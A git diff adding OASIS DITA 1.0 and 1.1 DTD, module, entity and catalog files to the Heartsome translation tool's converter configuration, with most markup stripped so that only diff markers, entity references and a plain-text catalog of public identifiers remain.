b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/programmingDomain.ent @@ -0,0 +1,50 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/programmingDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/programmingDomain.mod new file mode 100644 index 0000000..0317b92 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/programmingDomain.mod @@ -0,0 +1,374 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/reference.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/reference.dtd new file mode 100644 index 0000000..7f6267a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/reference.dtd @@ -0,0 +1,152 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + %reference-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/reference.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/reference.mod new file mode 100644 index 0000000..9c8741e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/reference.mod @@ -0,0 +1,239 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/softwareDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/softwareDomain.ent new file mode 100644 index 0000000..6752a54 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/softwareDomain.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/softwareDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/softwareDomain.mod new file mode 100644 index 0000000..8fd7aa0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/softwareDomain.mod @@ -0,0 +1,141 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/task.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/task.dtd new file mode 100644 index 0000000..6430ee7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/task.dtd @@ -0,0 +1,149 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + +%task-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/task.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/task.mod new file mode 100644 index 0000000..0bac28c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/task.mod @@ -0,0 +1,406 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/tblDecl.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/tblDecl.mod new file mode 100644 index 0000000..2ef35a6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/tblDecl.mod @@ -0,0 +1,371 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topic.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topic.dtd new file mode 100644 index 0000000..6537de2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topic.dtd @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topic.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topic.mod new file mode 100644 index 0000000..f690eb7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topic.mod @@ -0,0 +1,870 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topicDefns; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%tableXML; + + + +%metaXML; + + + + %topicClasses; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topicAttr.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topicAttr.mod new file mode 100644 index 0000000..83e1cc8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topicAttr.mod @@ -0,0 +1,106 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topicDefn.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topicDefn.ent new file mode 100644 index 0000000..3a7e66c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/topicDefn.ent @@ -0,0 +1,139 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/uiDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/uiDomain.ent new file mode 100644 index 0000000..4097d64 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/uiDomain.ent @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/uiDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/uiDomain.mod new file mode 100644 index 0000000..5dff548 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/uiDomain.mod @@ -0,0 +1,111 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/utilitiesDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/utilitiesDomain.ent new file mode 100644 index 0000000..7ace65a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/utilitiesDomain.ent @@ -0,0 +1,50 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/utilitiesDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/utilitiesDomain.mod new file mode 100644 index 0000000..a1eb31f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/utilitiesDomain.mod @@ -0,0 +1,122 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/bookmap.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/bookmap.dtd new file mode 100644 index 0000000..69beea7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/bookmap.dtd @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%mapgroup-d-dec; + + +%indexing-d-dec; + + +%xnaldomain-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%map-type; + + +%bookmap-type; + + + + + + +%mapgroup-d-def; + + +%indexing-d-def; + + +%xnaldomain-d-def; + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/bookmap.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/bookmap.mod new file mode 100644 index 0000000..e42c8bb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/bookmap.mod @@ -0,0 +1,644 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/catalog-dita.txt b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/catalog-dita.txt new file mode 100644 index 0000000..3188885 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/catalog-dita.txt @@ -0,0 +1,74 @@ +-- Catalog for Dita -- +-- (C) Copyright OASIS Open 2005, 2006. -- +-- (C) Copyright IBM Corporation 2001, 2004. -- +-- All Rights Reserved. -- +-- UPDATES: -- +-- 2005.11.15 RDA: Corrected system ID for topicAttr.mod, -- +-- topicDefn.ent -- +-- 2005.11.15 RDA: Corrected public ID for tblDecl.mod -- +-- 2006.06.07 RDA: Added commonElements.mod -- +-- 2006.06.07 RDA: Added indexing domain -- +-- 2006.06.20 RDA: Added bookmap and XNAL domain -- + +-- Dita DTDs -- + +PUBLIC "-//OASIS//DTD DITA Concept//EN" "concept.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Concept//EN" "concept.mod" + +PUBLIC "-//OASIS//DTD DITA Composite//EN" "ditabase.dtd" + +PUBLIC "-//OASIS//DTD DITA Glossary//EN" "glossary.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Glossary//EN" "glossary.mod" + +PUBLIC "-//OASIS//DTD DITA Reference//EN" "reference.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Reference//EN" "reference.mod" + +PUBLIC "-//OASIS//DTD DITA Task//EN" "task.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Task//EN" "task.mod" + +PUBLIC "-//OASIS//DTD DITA Topic//EN" "topic.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Topic//EN" "topic.mod" +PUBLIC "-//OASIS//ENTITIES DITA Topic Definitions//EN" "topicDefn.ent" + +-- topicAttr.mod is no longer used -- +PUBLIC "-//OASIS//ENTITIES DITA Topic Class//EN" "topicAttr.mod" + +-- Maps -- + +PUBLIC "-//OASIS//DTD DITA Map//EN" "map.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Map//EN" "map.mod" +PUBLIC "-//OASIS//ENTITIES DITA Map Group Domain//EN" "mapGroup.ent" +PUBLIC "-//OASIS//ELEMENTS DITA Map Group Domain//EN" "mapGroup.mod" + +PUBLIC "-//OASIS//DTD DITA BookMap//EN" "bookmap.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA BookMap//EN" "bookmap.mod" + +-- Domains -- + +PUBLIC "-//OASIS//ELEMENTS DITA Highlight Domain//EN" "highlightDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Highlight Domain//EN" "highlightDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Indexing Domain//EN" "indexingDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Indexing Domain//EN" "indexingDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Programming Domain//EN" "programmingDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Programming Domain//EN" "programmingDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Software Domain//EN" "softwareDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Software Domain//EN" "softwareDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA User Interface Domain//EN" "uiDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA User Interface Domain//EN" "uiDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Utilities Domain//EN" "utilitiesDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Utilities Domain//EN" "utilitiesDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA XNAL Domain//EN" "xnalDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA XNAL Domain//EN" "xnalDomain.ent" + +-- Common -- + +PUBLIC "-//OASIS//ELEMENTS DITA Common Elements//EN" "commonElements.mod" +PUBLIC "-//OASIS//ENTITIES DITA Common Elements//EN" "commonElements.ent" +PUBLIC "-//OASIS//ELEMENTS DITA Metadata//EN" "metaDecl.mod" +PUBLIC "-//OASIS//ELEMENTS DITA Exchange Table Model//EN" "tblDecl.mod" diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/catalog-dita.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/catalog-dita.xml new file mode 100644 index 0000000..3fa137a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/catalog-dita.xml @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/commonElements.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/commonElements.ent new file mode 100644 index 0000000..d474e7f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/commonElements.ent @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/commonElements.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/commonElements.mod new file mode 100644 index 0000000..2dba79b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/commonElements.mod @@ -0,0 +1,762 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%commonDefns; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%tableXML; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/concept.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/concept.dtd new file mode 100644 index 0000000..7cdf018 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/concept.dtd @@ -0,0 +1,176 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + +%concept-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + +%indexing-d-def; + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/concept.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/concept.mod new file mode 100644 index 0000000..7b0377b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/concept.mod @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/ditabase.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/ditabase.dtd new file mode 100644 index 0000000..91530e7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/ditabase.dtd @@ -0,0 +1,205 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + +%concept-typemod; + + + +%task-typemod; + + + +%reference-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + +%indexing-d-def; + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/glossary.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/glossary.dtd new file mode 100644 index 0000000..db2913b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/glossary.dtd @@ -0,0 +1,178 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + +%indexing-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + +%concept-typemod; + + + +%glossary-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + +%indexing-d-def; + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/glossary.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/glossary.mod new file mode 100644 index 0000000..a24606f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/glossary.mod @@ -0,0 +1,129 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/highlightDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/highlightDomain.ent new file mode 100644 index 0000000..6d80e12 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/highlightDomain.ent @@ -0,0 +1,46 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/highlightDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/highlightDomain.mod new file mode 100644 index 0000000..783e06d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/highlightDomain.mod @@ -0,0 +1,122 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/indexingDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/indexingDomain.ent new file mode 100644 index 0000000..ff6c1d6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/indexingDomain.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/indexingDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/indexingDomain.mod new file mode 100644 index 0000000..5cbf31b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/indexingDomain.mod @@ -0,0 +1,102 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/map.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/map.dtd new file mode 100644 index 0000000..0758433 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.1/map.dtd @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 